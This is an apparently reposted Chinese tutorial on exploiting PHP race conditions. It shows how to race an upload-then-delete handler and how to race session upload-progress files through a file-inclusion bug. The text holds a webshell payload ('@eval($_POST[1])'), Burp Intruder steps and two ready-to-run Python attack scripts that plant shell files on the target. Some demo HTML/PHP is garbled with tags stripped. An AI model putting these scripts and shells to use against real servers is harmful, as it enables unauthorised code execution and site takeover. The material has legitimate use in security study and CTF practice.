php条件竞争,文件上传 之 条件竞争

测试demo：

enctype="multipart/form-data">

Filename:

if (!empty($_FILES)) {

move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);

unlink($_FILES['file']['name']);

}

?>

shell文件内容：

echo md5(1);

fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');

?>

一直访问上传文件的py脚本：

# coding:utf-8

import requests

def main():

i=0

while 1:

try:

print(i,end='\r')

a = requests.get("http://aaa.io/sssss.php")

if "c4ca4238a0b923820dcc509a6f75849b" in a.text:

print("OK")

break

except Exception as e:

pass

i+=1

if __name__ == '__main__':

main()

其中的c4ca4238a0b923820dcc509a6f75849b = md5(1)

burp设置：->发送到Intrudermo模块->

然后同时运行我们的py脚本，和开启burp爆破，顺序无所谓，差不多挨着时间开启即可。

另一个和session文件进行竞争

demo：

if (isset($_GET['file'])) {

include './' . $_GET['file'];

}

这种情况在我们没办法上传文件的时候，怎么利用呢？那就是包含session文件。

我们知道控制session开启的函数session_start()，当没有使用函数的时候怎么办呢？

session下存在upload_progress属性，用来记录文件上传进度，并且默认是开启状态。

也就是当我们的POST数据包中存在PHP_SESSION_UPLOAD_PROGRESS字段的时候，无需调用session_start()函数，也可初始化session。但是默认会在结尾进行清除，所以我们需要利用条件竞争。

证明的demo：1.php

enctype="multipart/form-data">

Filename:

?>

注意：一定要在前面，不然没办法控制生成的session文件名。

漏洞利用脚本：

import io

import requests

import threading

sessid = 'ph1'

def t1(session):

while True:

f = io.BytesIO(b'a' * 1024 * 50)

response = session.post(

'http://localhost/2.php',

data={'PHP_SESSION_UPLOAD_PROGRESS': '=file_put_contents("shell123.php","=phpinfo();?>")?>'},

files={'file': ('a.txt', f)},

cookies={'PHPSESSID': sessid}

)

def t2(session):

while True:

response = session.get(f'http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}')

print(response.text)

with requests.session() as session:

t1 = threading.Thread(target=t1, args=(session, ))

t1.daemon = True

t1.start()

t2(session)

修改对应的访问路径，和 session文件路径，即可。成功后生成shell123.php文件。

来源：https://www.cnblogs.com/xiaozhiru/p/12639405.html